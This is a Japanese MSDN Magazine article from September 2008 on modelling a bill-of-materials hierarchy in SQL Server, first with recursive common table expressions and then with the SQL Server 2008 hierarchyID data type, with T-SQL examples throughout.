September 2008
階層 ID: SQL Server 2008 を使用してデータ階層をモデル化する
SQL Server 2008 の新しい hierarchyID データ型が、階層情報のモデル化とクエリの問題のいくつかを解決するのにどのように役立つかを説明します。 Kent Tegels
Prism: WPF で複合アプリケーションを作成するためのパターン
Microsoft patterns & practices の Composite Application Guidance for WPF で複合アプリケーションを作成する利点を紹介します。 Glenn Block
データ サービス: Silverlight 2 でデータ中心の Web アプリケーションを作成する
ADO.NET Data Services が提供する Web アクセス可能なエンドポイントを使用すると、データのフィルタ処理、並べ替え、整形、およびページングを実行できます。自身で機能を作成する必要はありません。 Shawn Wildermuth
高度な WPF: WPF におけるルーティング イベントとルーティング コマンドについて
UI パーツ間の対話の基盤となる Windows Presentation Foundation のルーティング イベントとルーティング コマンドについて説明します。 Brian Noyes
Columns
編集者のメモ: ロング テールから手を放すな: テクノロジは光の速さで変化しています。今月は、Howard Dierking が、急速な変化が開発者の優先順位と MSDN Magazine の記事の焦点に与える影響について考えています。Howard Dierking | ツールボックス: 簡単な LINQ クエリ、優れた開発者になる、ログ記録の支援: 今月のツールボックスでは、エラー ログ記録の支援に関する情報を提供し、LINQ クエリの記述に役立つアプリケーションを紹介し、開発の技術以外の側面について探求します。Scott Mitchell | CLR 徹底解剖: CLR のハンドルされない例外の処理: この「CLR 徹底解剖」では、Gaurav Khanna が、.NET Framework でのハンドルされない例外処理について知っておく必要のあるあらゆる項目について説明しています。Gaurav Khanna
データ ポイント: Silverlight 2 と WCF を使用したサービス駆動型アプリケーション: ここでは、John Papa が、WCF を使用する通信を介してビジネス エンティティやデータベースと対話する Silverlight 2 ユーザー インターフェイスの作成方法を紹介します。John Papa | Advanced Basics: LINQ Enumerable クラス (第 2 部): 今月は、Ken が System.Linq.Enumerable クラスについて詳しく説明し、System.Linq.Enumerable を使用した魔法のようなデータ処理の実行方法を紹介します。Ken Getz | Office Space: SharePoint におけるカスタム監査: Microsoft Office SharePoint Server (MOSS) 2007 のカスタマイズされたコントロール ページを使用して Windows SharePoint Services (WSS) 3.0 の監査ソリューションを有効にする方法について説明します。Ted Pattison
Cutting Edge: 安全な AJAX サービス層を構築する: 今月は Dino が Silverlight 2 および ASP.NET AJAX サービスのユーザーを認証し、機密性を持つバックエンド サービスへの不正なアクセスを防止するサービス層を構築します。Dino Esposito | テストの実行: Virtual Server を使用した構成テスト (第 1 部): 今回は、James McCaffrey が構成テスト向けの仮想環境をセットアップし、Microsoft Virtual Server を使用したソフトウェア構成テストについて説明します。Dr. James McCaffrey | セキュリティに関するブリーフィング: Web に対する SDL の適用: 今回は、マイクロソフトのセキュリティ開発ライフサイクル (SDL) チームの提供する、新しい Web 指向のセキュリティ ガイダンスとツールを紹介します。Bryan Sullivan
基礎: 依存関係プロパティと通知: Windows Presentation Foundation の依存関係プロパティが他の機能とうまく連携できない場合があります。依存関係プロパティに通知イベントが存在しないという問題を補う方法について学習します。Charles Petzold | { End Bracket }: 新時代のビジュアル シミュレーション: ESP シミュレーション エンジンは Microsoft Flight Simulator の核となる技術であり、ビジュアル レンダリング、物理演算、サラウンド、その他の仮想シミュレーション機能を処理します。その詳細を見てみましょう。Todd Landstad


階層 ID
SQL Server 2008 を使用してデータ階層をモデル化する
Kent Tegels

コードのダウンロード : SQLHierarchyID2008_09a.exe (155 KB)
オンラインでのコードの参照

この記事は、SQL Server 2008 RC0 のプレリリース バージョンに基づいています。ここに記載されているすべての情報は、変更される場合があります。
この記事では、次の内容について説明します。
  • 階層データをモデル化する
  • 部品表システムを作成する
  • HierarchyID に移行する
  • システムをテストする
 この記事では、次のテクノロジを使用しています。
SQL Server 2008
目次
階層データ
部品表の問題
エンティティを使用して問題を理解する
SQL Server 2005 の BOM システム
テーブルを作成する
デザインを検証するためのクエリ
HierarchyID を利用する
HierarchyID 実装をテストする
まとめ
自動車の背後にある製造システム、州、郡、市、郵便番号への国の編成、ホーム エンターテイメント システムの説明。これらに共通しているものは何でしょうか。単純な答えは、それぞれ階層を表しているということです。
SQL Server 2008 では、階層情報のモデル化とクエリの問題のいくつかを解決するのに役立つ、HierarchyID という新しいデータ型がサポートされます。部品表 (BOM) と呼ばれる、製造でよく使用されるパターンを説明することで、このデータ型を紹介します。まず BOM について簡単に説明し、この種のデータをモデル化する方法を示します。SQL Server 2005 でのこのモデルの実装も示します。次に、HierarchyID データ型を使用して SQL Server 2008 でモデルを実装する方法を示します。

階層データ
自動車は、エンジン、ドライブトレーン、電子部品、ステアリングなどの多くの部品の融合体です。米国では、領土が州に分割され、さらに郡と呼ばれる法域に分割されています。郡は、さまざまな官庁によってさまざまな方法でさらに区分されています。たとえば、United States Census Bureau (アメリカ合衆国国勢調査局) は、郡を調査地区で構成しています。U.S. Postal Service (アメリカ合衆国郵便公社) は、Zone Improvement Plan (ZIP) コードによって郵便配達ルートを設定しています。地理情報システム (GIS) は、調査地区と ZIP コードを集約して、地域についての見慣れた空間参照をユーザーに提供している場合があります。
買い換えるホーム エンターテイメント システムを評価するために地元の電気店を最近訪れたときには、同様の種類の階層システムが見られました。選択できる部品とオプションのあらゆる組み合わせに目が回りました。データベース システムでこのようなシステムをモデル化して実装するにはどうすればよいだろうかと考えました。
自動車とそのエンジンとの関係は、階層を表します。自動車にエンジンが含まれています。関係は、ドライブトレーン、電子部品、およびステアリングに対しても同じです。関係は包含です。同様の階層が、地理データまたは調査データのさまざまなグループ間の関係にも見られます。
階層はどこにでも存在し、多くの場合、リレーショナル データベースのコンテキストでこれらを実装するのは難しいことが実証されています。典型的なアプローチは、1 つ以上のテーブルで親子関係を使用して階層を表すことです。確かにこのアプローチは多くの場合に機能しますが、欠点がいくつかあります。このようなソリューションでは、参照整合性を維持する方法を慎重に検討する必要があります。また、このような奥行と幅を持つテーブルのクエリは、再帰共通テーブル式が導入された SQL Server 2005 でかなり単純化されますが、このような種類のテーブルに対するクエリの作成は、多数のテーブルに対する結合が必要な場合に問題になることがあります。

部品表の問題
筆者は数年前、ディーラーがセンターピボット灌漑システムの構築に必要な部品を指定するのに役立てるために製造会社が開発するシステムについて作業していました。ソフトウェアでは、目的のピボットのカスタム ビルドに必要な部品のリストを生成しました (センターピボット灌漑システム全体は、業界内では単にピボットと呼ばれます)。必要な部品は、地理、土壌の種類、および対象地域に植え付けられる対象穀物に加えて、デバイス自体の水理および構造上の考慮事項に基づいて決定されました。
ソリューションの基礎を補強するものは、SQL Server データベースでした。データベースの目的は、ピボットの構築に使用可能な部品に関する情報を格納することでした。一方、製造の仕様を生成したときに、これらの部品を BOM として識別する必要がありました。
一部の部品表は、システム コンポーネントに組み立てられる物理的な部品のコレクションを表していました。たとえば、すべてのピボットでは、井戸からシステムに水を引くためのポンプが必要でした。ポンプは電動の場合があり、それは変圧器とヒューズ ボックスも必要であることを意味します。また、ポンプは燃料動力の場合もあり、それはタンク、燃料ポンプ、およびポンプをタンクに接続するためのホースが必要であることを意味します。どちらの場合も、ポンプに必要な部品はポンプ部品表に一覧表示されます。
ピボット全体の部品表には、他の部品表のコレクションが含まれます。たとえば、標準化されたピボットは、ポンプ用の部品表のツリー、水の供給に使用されるパイプの部品表の別のツリー、およびピボット システムの構築に必要なその他の装置の部品表から構成されます。

エンティティを使用して問題を理解する
最初の疑問は、階層システムを表すときに考慮する必要のあるエンティティは何であり、これらのエンティティの属性はどのようなものであるかということです。ヒントは、モデル化しようとしている基礎となるシステムの個々の要素のセマンティクスに引き込まれないことです。
たとえば、図 1 に示す、PC ベースのホーム シアター システムの場合について考えます。ここに示されている各アイテムがエンティティを表していることは簡単にわかります。これは真実ですが、会社が販売する可能性のあるすべてのホーム シアター システムを表すのは難しくなります。一部のシステムで PC の代わりにデジタル ビデオ レコーダ (DVR) を使用する場合はどうなるでしょうか。ラジオ チューナを必要としない消費者についてはどうでしょうか。
図 1 ホーム シアター システム内の構成要素 (クリックすると拡大画像が表示されます)
このようなバリエーションがあるため、まさに BOM システムは階層データ モデリングの問題に対する手本として有効に機能します。最終的にツリー データ構造の個々の部品に到達するまで、完全なシステムを多くの異なる下位部品表とそのまた下位の部品表から構成できます。ツリーのルートには、単一の部品表で表される完全なシステムがあります。ブランチの最初のレベルも、一般に部品表から構成されます。部品表が物理的なシステム部品のリストのみから構成され、これらの部品がツリーのリーフ ノードになるまで、下位部品表のリストが階層の下方に続きます。
それでは、システムにはどのようなエンティティがあるでしょうか。部品のみを含む部品表 (部品リスト) と、他の部品表を含む部品表があります。
部品には、説明とコストがあります (もちろん、他にも多くの属性がある場合がありますが、説明のため単純化します)。部品リストの属性には、部品と、その部品の必要数量が含まれる場合があります。重要なのは、特定の部品の必要数量を、部品情報自体から分離することです。これに失敗した場合は、最終的に、使用される数量の差異にのみ基づく部品の重複インスタンスが多数作成されることになります。正規化ルールによって、これがほとんどの場合に不適切なデザインであることが示唆されます。
部品表には、説明、親部品表との関連付けの方法、および関連する部品リストがあります。図 2 に、エンティティのセットとそれらの関係を示します。
図 2 エンティティの関係 (クリックすると拡大画像が表示されます)
リレーショナル データベースはほとんどの関係を表すのに優れていますが、これらは多対多エンティティ モデルの処理には適していません。これは、物理テーブルがデータを処理できないからではなく、テーブル間に適切な参照整合性制約を作成するのが難しいためです。このような関係は、複雑なクエリにもつながります。ただし、まず最初にテーブルの論理設計に取り組んだ場合は、この問題を簡単に解決できます。部品リスト テーブルと部品表テーブルの間にテーブルを挿入する必要があります。そのテーブルは、単純に部品表への参照と部品リストへの参照を保持します。図 3 に、この追加テーブルを含むエンティティ関係図を示します。
図 3 簡略化した部品表システムのエンティティ関係図 (クリックすると拡大画像が表示されます)

SQL Server 2005 の BOM システム
これで BOM システムの基礎を補強する理論を理解できたので、次はこれを実装します。手順は簡単です。
  1. データベースを作成します。
  2. エンティティ関係図に示したテーブルを作成します。
  3. 必要な制約を適切なテーブルに追加します。
  4. 必要に応じてテーブルに対するアクセス許可を構成します。
  5. テーブルにテスト データを設定します。
  6. デザインを検証するために、テーブルに対するクエリを作成および実行します。
次に、サンプル データベースを作成する T-SQL コードを示します。各自のシステムで使用するためには、おそらくファイル名パスの変更が必要になります。
create database [dbBom] on  primary (
  name = n'dbBom', filename = n'c:\msdnmag\dbBom.mdf',
  size = 50mb , maxsize = unlimited, filegrowth = 2mb )
log on (
  name = n'dbBom_log', filename = n'c:\msdnmag\dbBom_log.ldf',
  size = 10mb , maxsize = 2048gb , filegrowth = 10%);
このステートメントを正常に実行した後で、USE dbBOM ステートメントなどを使用して、データベース スコープを dbBOM に変更してください。

テーブルを作成する
次に、必要な 4 つのテーブルを作成する実行可能な T-SQL コードを示します。
create table dbo.part(
  partID smallint not null,
  descr varchar(50) not null,
  cost money not null);
create table dbo.partList(
  partListID int not null,
  partID smallint not null,
  quantity smallint not null);
create table dbo.billPartList(
  billID int not null,
  partListID int not null);
create table dbo.bill(
  billID int not null,
  parentBillID int null,
  descr varchar(50) not null);
これらのテーブルの列のうち、null 値を許可されている列は dbo.bill 内の parentBillID のみであることに注意してください。この null 値により、完全なシステムを表す部品表を他の部品表と区別できます。
この実装を参照的に有効にする鍵は、テーブルに対する制約を正しいものにすることです。テーブルにはソリューション内のさまざまな機能があるため、さまざまな制約があります。ただし、SQL Server 内のすべてのテーブルに、次のように主キーが関連付けられている必要があります。
alter table dbo.part
  add constraint pkPart
  primary key clustered(partID);
alter table dbo.bill
  add constraint pkBill
  primary key clustered(billID);
alter table dbo.partList
  add constraint pkPartList
  primary key clustered(partListID);
alter table dbo.billPartList
  add constraint pkBillPartList
  primary key clustered(billID,partListID);
部品または部品表の説明 (descr) のように、これらの列の一部は常に一意の値を持つ必要があります。必要な部品の partID と数量の組み合わせを要求することで、ユーザーが重複する部品リストに相当するものを作成しないようにすることもできます。
alter table dbo.part
  add constraint uqDescr
  unique(descr);
alter table dbo.bill
  add constraint uqBill
  unique(descr);
alter table dbo.partList
  add constraint uqPartList
  unique(partID,quantity);
最後に、テーブル間に外部キー制約を追加します。最初の制約は、dbo.part と dbo.partList の間です。そのためには、部品リストに追加される部品を dbo.part テーブルで定義する必要があります。部品が dbo.part から削除された場合は、部品リストに変更を反映する必要があります。この処理は、制約に "on delete cascade" 句を追加することで簡単に実行できます。partID は識別子としてマークされているため、変更できず、カスケード アクションは実行できません。
alter table dbo.partList
  add constraint fkPartList_Part
  foreign key(partID)
  references dbo.part(partID)
  on delete cascade
  on update no action;
次の制約は、部品表に parentBillID が割り当てられている場合に、billID によって参照される部品表が dbo.bill テーブルに既に存在することを要求します。カスケード制約は異なります。SQL Server では、親部品表を削除または更新したときにアクションが無限再帰することを保証できないため、ここではカスケード制約が禁止されます。既定値が定義されていないため、"set default" も使用できません。
alter table dbo.bill
  add constraint fkBill_Bill
  foreign key(parentBillID)
  references dbo.bill(BillID)
  on delete no action
  on update no action;
billPartList テーブルには、いくつかの外部キー制約が必要です。まず、部品表に関連付けられている部品リストが PartList テーブルに存在することを要求する必要があります。また、参照される部品表が dbo.bill テーブルに存在する必要もあります。dbo.bill の billID と dbo.partList の partListID はどちらも更新できないため、制約に対して実行できるカスケード アクションはありません。ただし、部品または部品表が削除された場合は、これらの変更がこのテーブルに影響することがあります。
alter table dbo.billPartList
  add constraint fkBillPartList_PartList
  foreign key(partListID)
  references dbo.partList(partListID)
  on delete cascade
  on update no action;
alter table dbo.billPartList
  add constraint fkBillPartList_Bill
  foreign key(billID)
  references dbo.bill(billID)
  on delete cascade
  on update no action;
ここで、テストのためのデータをいくつかテーブルに挿入できます。関係するデータ量が多いため、ここではコードを示しません。この記事のサンプル コードをダウンロードした場合は、単純に 01_data.sql という名前のスクリプトを開いて実行し、このサンプル データを生成します。

デザインを検証するためのクエリ
いくつかの単純なクエリを作成して実行すると、デザインが期待どおりに動作することをテストおよび検証するのに役立ちます。筆者の最初のクエリでは、新しい共通テーブル式構文を使用して、部品表の階層リストを生成します。
with c as (
  select billID,parentBillID,descr,0 as [level]
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,
    b.descr,[level] + 1
  from dbo.bill b join c on b.parentBillID =
    c.billID)
select descr,[level],billID,parentBillID
  as bill
from c
図 4 に示す返されるデータには、単一のルート ノード (parentBillID が null のノード) があります。このような部品表が複数ある場合は、部品表の ID でその親を選択するようにクエリを変更する必要があります (共通テーブル式の詳細については、msdn.microsoft.com/magazine/cc163346 にある 2007 年 10 月の「データ ポイント」コラムを参照してください)。
図 4 部品表の階層をクエリする (クリックすると拡大画像が表示されます)
次のクエリは、最初のクエリで返されたシステム部品表に使用される各部品を一覧表示することで、最初のクエリに基づいて作成されています。このクエリは、テーブル間のすべての関係を調べます。
with c as (
  select billID,parentBillID,descr,0 as [level]
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,b.descr,[level] + 1
  from dbo.bill b join c on b.parentBillID = c.billID)
select p.partID,p.descr
from c
join dbo.billPartList bpl on c.billID = bpl.billID
left join dbo.partList pl on bpl.partListID = pl.partListID
join dbo.part p on pl.partID = p.partID
group by p.partID,p.descr;
次のクエリでは、必要なシステム部品の原価を合計し、2 を乗算することにより、システムのメーカー希望小売価格 (MSRP) を計算します。
with c as (
  select billID,parentBillID,descr,0 as lvl
  from dbo.bill b
  where b.parentBillID is null
    union all
  select b.billID,b.parentBillID,b.descr,lvl + 1
  from dbo.bill b join c on b.parentBillID = c.billID)
select SUM(p.cost*pl.quantity) * 2.0
  from c
  join dbo.billPartList bpl on c.billID =     bpl.billID
  left join dbo.partList pl on     bpl.partListID= pl.partListID
  join dbo.part p on pl.partID = p.partID
次のクエリは、前のクエリの逆の操作を行います。最上位の親部品表から下に向かってデータを調べる代わりに、部品から開始し、それが属する部品表をクエリし、階層を上に向かって調べてその部品を使用するすべての部品表を検索します。
with c as (
  select b.descr,b.billID,b.parentBillID,0     as lvl
  from dbo.partList pl
  left join dbo.billPartList bpl on    pl.partListID = bpl.partListID
  left join dbo.bill b on bpl.billID =     b.billID
  where pl.partID = 19
    union all
  select b.descr,b.billID,b.parentBillID,lvl+1
  from dbo.bill b
  join c on c.parentBillID = b.billID)
select * from c;
行形式のリストを使用して部品表がどのように内部的に関連しているかを視覚化することは困難な場合があります。このような場合は、次に示すように、部品表をパスに整理するとわかりやすくなります。そうすることで、部品表のネストを簡単に視覚化できます。
with c as (
  select '/'+cast(billID as varchar(49)) as path,BillID
  from dbo.bill b
  where b.parentBillID is null
    union all
  select cast(c.path+'/'+CAST(b.billID as varchar(4)) as varchar(50)),    b.billID
  from dbo.bill b join c on b.parentBillID = c.billID)
select c.path+'/',b.descr
from c join dbo.bill b on c.billID = b.billID
order by 1;
結果のネストを図 5 に示します。
図 5 ネストした部品表を一覧表示する (クリックすると拡大画像が表示されます)
残りのクエリでは、システムへの新しい部品表の追加を示します。この場合は、会社の "夏のボーナス キャンペーン" に 4GB のメモリ スティックが含まれていることを想定します。図 6 のコードは、新しい部品とそれを表す部品表を階層に挿入します。
図 6. 新しい部品と部品表を追加する
begin transaction
  declare @mp int;
  declare @mpl int;
  declare @mb int;
  select @mp = MAX(partID)+10 from dbo.part;
  insert into dbo.part(partID,descr,cost)
    output inserted.*
    values (@mp,'4GB USB 2.0 Memory Stick',20.0);
  select @mpl = MAX(partListID)+10 from dbo.partList;
  insert into dbo.partList(partListID,partID,quantity)
    output inserted.*
    values (@mpl,@mp,1);
  select @mb = MAX(billID)+10 from dbo.bill;
  insert into dbo.bill(billID,parentBillID,descr)
    output inserted.*
    values (@mb,110,'Summer Bonus Package')
  insert into dbo.billPartList(billID,partListID)
    output inserted.*
    values (@mb,@mpl);
commit;
go
select * from dbo.bill where parentBillID = 110;
select * from dbo.part;
go
ここで、"Summer Bonus Package" 部品表が全体のシステム部品表のすぐ下ではなく Disk Drive モジュールの下に必要であることを誰かから指摘されたとします。これはリレーショナル データベースで簡単に行うことのできる変更です。
update dbo.bill set parentBillID = 320 where billID = 507
go
select * from dbo.bill where parentBillID = 320;
go
夏のキャンペーン期間の終わりに、この新しい部品表を削除することも簡単です。
begin transaction
  delete from dbo.billPartList where billID=507;
  delete from dbo.bill where billID=507;
  delete from dbo.part where partID=45;
commit;
go
select * from dbo.billPartList;
select * from dbo.bill;

HierarchyID を利用する
HierarchyID データ型は、順序付きパスの簡潔なバイナリ表現を格納するためにデザインされた CLR ベースのバイナリ表現です。これは組み込みのデータ型であるため、使用するために SQL/CLR 機能を明示的にアクティブにする必要はありません。HierarchyID は、関係を順序付きパス構文で表現できる値間のネストした関係を表す必要がある場合に役立ちます。
順序付きパスはファイル パスに少し似ていますが、ディレクトリとファイル名を使用する代わりに数値が使用されます。他の親子関係と同様に、すべての順序付きパスをルート ノードでアンカーする必要があります。SQL Server 2008 では、単一文字 (/) を使用して、ルート ノードをテキストで表現しています。順序付きパスのある要素は、通常は整数で表現されますが、小数値も使用できます。順序付きパスは、別の単一文字 (/) で終了する必要があります。
ただし、順序付きパスはデータベースにテキスト形式では格納されません。代わりに、数学的にバイナリ値にハッシュされ、これらのバイナリ値がデータ ページに格納されます。
それでは、HierarchyID を使用するように既存のデータベースを変更する必要がある場合はどうすればよいでしょうか。図 7 に、部品表の例で使用している順序付きパスをいくつか示します。サンプル データ内の親子関係は部品表テーブルに見られるため、ここから開始するのが妥当です。テーブルを変更する代わりに、bill2 という新しいテーブルを追加します。
図 7 サンプル部品表で使用されているパス (クリックすると拡大画像が表示されます)
HierarchyID 型の billPath という列を追加します。このコラムでは、順序付きパス形式を使用して、部品表間の親子関係を格納します。また、この時点で親行に移動するための列を削除できますが、この機能は多くのクエリで役立ちます。一方、親 ID を静的データ フィールドとして格納する代わりに、この種類のナビゲーションのために階層 ID に基づいて永続化、計算された列を使用する方法を示します。更新されたテーブル作成コードは次のとおりです。
create table dbo.bill2(
  billPath HierarchyID not null,
  billID smallint not null,
  parentBillPath as billPath.GetAncestor(1) persisted,
  descr varchar(50) not null);
これまでに Microsoft .NET Framework に基づいてデータ型を処理していなかった場合は、parentBillPath の定義でメソッドを呼び出すことは珍しく思えるかもしれません。型によって定義されたメソッドを呼び出し、オプションとして 1 つ以上のパラメータを渡す機能は、コードを大幅に簡略化します。
ここには、HierarchyID 型の GetAncestor メソッドが見られます。HierarchyID は、簡潔なバイナリ形式でパスを格納します。バイナリ値のセグメントを参照し、billID として扱うことや、部品表の順序付きパスのサブセグメントを直接フェッチすることはできません。この目的には、GetAncestor メソッドを利用できます。ここでのパラメータ値は、"このノードの親で終わる順序付きパスを返す" ことを意味します。パラメータ値は、切り捨てが行われる順序付きパスをどこまで上にたどるかを制御します。このため、ここでは現在の部品表の親までの順序付きパスがあります。図 8 に、HierarchyID データ型で使用可能なメソッドと、各メソッドの典型的なユース ケースを示します。
図 8 HierarchyID メソッド
メソッド | 戻り値 | パラメータ値 | 目的
GetAncestor | 親または上位レベル要素の順序付きパスを表す HierarchyID。 | 現在の順序付きパスで、そのレベルから上にたどるレベル数を示す整数。 | このインスタンスの順序付きパスで、親、親の親、またはさらに上位レベルの要素を検索します。
GetDescendent | 現在のノードの子、孫、またはその下の子のパスを表す HierarchyID。 | 返される可能性のある子を制限する 2 つの HierarchyID インスタンス (一方または両方が null の可能性があります)。 | 現在の順序付きパスの特定の深さに新しい要素を挿入するためにパスを取得します。
GetLevel | 順序付きパスの深さ全体を表す 16 ビット整数値。 | なし。 | 2 つの順序付きパスの深さが同じかどうかを判断します。
GetRoot | 要素が 0 の順序付きパスの HierarchyID。 | なし。 | 順序付きパスの絶対ルートを検索します。
IsDescendantOf | パラメータとして渡された順序付きパスが呼び出し元インスタンスの子である場合は 1。 | HierarchyID インスタンス。 | 特定の HierarchyID が別のインスタンスの子であるかどうかを判断します。
Parse | HierarchyID インスタンス。 | 順序付きパスのテキスト表現。 | 特定のパスから HierarchyID インスタンスを作成します。HierarchyID インスタンスが文字列に設定されている場合は暗黙的に呼び出されます。
GetReparentedValue | 現在のアイテムをあるパスから別のパスに移動する場合に順序付きパス全体を表す HierarchyID。 | HierarchyID としての現在の順序付きパスと、同じく HierarchyID としてのターゲットの順序付きパス。 | ある親順序付きパスから別の順序付きパスに 1 つ以上の行値を移動します。
ToString | HierarchyID の順序付きパスのテキスト表現。 | なし。 | HierarchyID の順序付きパスを分析します。
次に、新しいテーブルの主キーと、その外部キー制約を作成する必要があります。
alter table dbo.bill2
  add constraint pkBill2
  primary key(billPath);

alter table dbo.bill2
  add constraint fkBill2Parent
  foreign key (parentBillPath) references dbo.bill2(billPath);
この例では、HierarchyID 値を主キーと外部キーの両方として使用しています。HierarchyID は深さ優先の順序付きパスを表すということを思い出してください。したがって、値の変化はピア間で最も大きくなり、親子のパス間では最も小さくなります。HierarchyID 値をテーブルのクラスタ化インデックスに使用した場合、同じパス上のノードは、他のパス上のノードよりも近くに保存されます。多くの場合、すべての子の特定のパスをクエリするため、これは優れたデザインです。一方、特定のノードをより頻繁にクエリする場合は、GetLevel から派生した列にクラスタ化インデックスを作成することが必要な場合があります。
この実装では、若干問題が発生します。値ではなくパス上の外部キー制約に基づいているため、テーブル内にアンカーする既存の値が必要です。部品表のすべてのチェーンにはアンカーが必要であり、さいわいにも、これらは同じアンカーを使用できます。HierarchyID GetRoot メソッドは、実際にはこの問題を解決するための完全な方法です。次のステートメントについて考えます。
insert into dbo.bill2(billPath,billID,descr)
  values (hierarchyID::GetRoot(),0,'All Bills');
ここでは、GetRoot メソッドを型の静的メンバとして呼び出すことにより、任意の階層の最上位ルートを表す部品表を作成しています。第 1 レベルのノードを挿入する場合も、現在のテーブル内の親を参照します。
それでは、dbo.bill の既存の部品表を dbo.bill2 に移行するにはどうすればよいでしょうか。実際に必要なのは、前に示した、階層パスを選択するクエリを変更して、そのパスを HierarchyID にキャストしてから、dbo.bill2 にデータを挿入することだけです。次に T-SQL コードを示します。
with c(billID,[path],[descr]) as (
  select b.billID,'/'+CAST(b.billID as varchar(max)),descr
  from dbo.bill b
  where parentBillID is null
    union all
  select b.billID,c.path+'/'+CAST(b.billID as varchar(max)),b.descr
  from dbo.bill b
  join c on b.parentBillID = c.billID)
insert into dbo.bill2(billpath,billID,descr)
select path+'/' as [path],billID,descr
from c
order by c.path;
図 9 は、dbo.Bill2 の内容を示しています。
図 9 dbo.bill2 の最初の 15 行 (クリックすると拡大画像が表示されます)
ここで、次のように dbo.BillPartList との外部キー関係も更新します。
alter table dbo.billPartList
drop constraint fkBillPartList_Bill
go
alter table dbo.billPartList
  add constraint fkBillPartList_Bill2
  foreign key(billPath)
  references dbo.bill2(billPath)
  on delete cascade
  on update no action;

HierarchyID 実装をテストする
作成および設定したテーブルおよび制約で、新しい HierarchyID 型を使用するように前のテスト クエリを書き直すことができます。最初のクエリは、再帰共通テーブル式を使用して、部品表の階層リストを上 (部品表 110) から順に生成しました。HierarchyID データ型を使用する場合、特定の部品表の完全な系統は、その値内で既に表されています。たとえば、階層の最下位の部品表の 1 つは、CPU キットを表す部品表 405 です。どの部品表がその系統を構成するかは、どうすればわかるでしょうか。次のコードが教えてくれます。
select billPath.ToString() from dbo.bill2 where   billID=405;
クエリからの出力は、値 "/110/210/310/405" の文字列です。ここで、その文字列で表される部品表をどうすれば正確に取得できるかという疑問が生じます。HierarchyID 型は値のリストをベクトルに変換するメソッドを提供しないため、これは少し厄介です。ただし、T-SQL または SQL/CLR を使用して独自のメソッドを作成できます。次に、T-SQL テーブル値関数を使用してこの処理を行うコードを示します。
create function dbo.Vectorize(@i hierarchyID)
returns @t table (position int identity(1,1)
  not null,nodeValue int not null)
as begin
  declare @list varchar(max) = @i.ToString();
  declare @delimit int;
  set @list = substring(@list,2,len(@list)-1);
  while len(@list) > 1 begin
    set @delimit = charindex('/',@list);
    insert into @t values (cast(substring(@list,1,@delimit-1) as int));
    set @list = substring(@list,@delimit+1,len(@list));
  end;
  return;
end;
これで、単一の非再帰クエリでシステム内の部品表の系統を簡単に調べることができます。
declare @anyBill int = 405;
select b1.billPath,b2.billID,b2.descr from dbo.bill2 b1
  cross apply dbo.vectorize(b1.billPath) p
  join dbo.bill2 b2 on b2.billID = p.nodeValue
  where b1.billID = @anyBill;
特定の部品表で使用される部品の検索についてはどうでしょうか。部品表の一覧を再帰的にクエリする必要のある前の実装とは異なり、このクエリは、HierarchyID の機能を利用して、ある順序付きパスが別の順序付きパスの子孫であるかどうかを、IsDescendantOf メソッドを使用して判断できます。
declare @anyBill int = 110;
declare @sourceBillPath hierarchyID;
select @sourceBillPath = billPath from dbo.bill2 where billID = @anyBill;
select p.partID as 'partID',
  p.descr 'partName'
  from dbo.bill2 b2
  left join dbo.billPartList bpl on b2.billID = bpl.billID
  left join dbo.partList pl on bpl.partListID = pl.partListID
  left join dbo.part p on pl.partID =p.partID
  where b2.billPath.IsDescendantOf(@sourceBillPath)=1
  and p.partID is not null
  order by p.partid;
システム全体または任意の下位部品表の MSRP の計算は、前に示した手法にいくつかの変更を加えることで実行できます。
declare @anyBill int = 110;
declare @sourceBillPath hierarchyID;
select @sourceBillPath = billPath
from dbo.bill2 where billID = @anyBill;
  select SUM(p.cost * pl.quantity)*2.0
  from dbo.bill2 b2
  left join dbo.billPartList bpl on b2.billID = bpl.billID
  left join dbo.partList pl on bpl.partListID = pl.partListID
  left join dbo.part p on pl.partID =p.partID
  where b2.billPath.IsDescendantOf(@sourceBillPath)=1;
特定の部品を使用する部品表の判断は、GetAncestor メソッドを使用してクエリできます。このメソッドでは、階層をクエリできます。ここでは、部品表の一覧を上にたどる再帰処理を使用する必要があります。
declare @partID int = 20;
with c(billPath,descr) as (
  select b.billPath,b.descr
  from dbo.part p
  join dbo.partList pl on p.partID = pl.partID
  join dbo.billPartList bpl on pl.partListID = bpl.partListID
  join dbo.bill2 b on bpl.billID = b.billID
  where p.partID = @partID
    union all
  select b.billPath,b.descr
  from dbo.bill2 b
  join c on b.billPath = c.billPath.GetAncestor(1))
select distinct descr,billPath
from c
where billPath <> hierarchyID::GetRoot()
order by billPath;
図 6 では、新しい部品と部品表を追加しました。部品を挿入または部品リストを作成するためにコードを変更する必要はありません。ただし、部品表を作成すると、HierarchyID の GetDescendant および GetReparentedValue メソッドを使用する機会が提供されます。次のコード抜粋でプロセスを開始できます。
begin
  begin transaction
  declare @mp int;
  declare @mpl int;
  select @mp = MAX(partID)+10 from dbo.part;
  insert into dbo.part(partID,descr,cost)
    output inserted.*
    values (@mp,'4GB USB 2.0 Memory Stick',20.0);
  select @mpl = MAX(partListID)+10 from dbo.partList;
  insert into dbo.partList(partListID,partID,quantity)
    output inserted.*
    values (@mpl,@mp,1);
作成した部品と部品リストで、関連部品表を作成できます。つまり、新しい部品表を階層の他のすべての部品表の右側に挿入して、Super X100 Home Theatre System を作成します。そのためには、親部品表のパスとその一番右の子のパスの 2 つを知っておく必要があります。
親部品表のパスの取得は単純なクエリです。一番右の子を検索するには、次のように IsDescendantOf および GetLevel メソッドを使用する必要があります。
declare @root hierarchyID;
declare @newBillPath hierarchyID;
declare @newBillID int;

select @root = billPath
  from dbo.bill2
  where billID = 110;

select @newBillPath = max(billPath)
  from dbo.bill2
  where billPath.IsDescendantOf(@root) =1
  and billPath.GetLevel() = @root.GetLevel()+1;
すべてのルート ノードの直接の子孫を検索しています。パスは値の順に並べられているため、HierarchyID の値が最大の部品表が一番右のインスタンスになります。一番右のピア ノードがわかったので、それに隣接する新しいパスを作成する必要があります。ここで GetDescendant を使用します。このメソッドへのパラメータは、新しいパスが作成される場所を制御します。リストの 2 番目のパラメータを null のままにした場合は、"最初のパラメータの右にノードを作成する" と指示することになります。
select @newBillPath =@root.GetDescendant(@newBillPath,null);
これで新しい部品表のパスが作成され、そのパスは newBillID の値を持つため、単純にこれを抽出する必要があります。前に追加したテーブル値関数が役立ちます。
select @newBillID = nodeValue
  from dbo.Vectorize(@newBillPath)
  where position = @newBillPath.GetLevel();
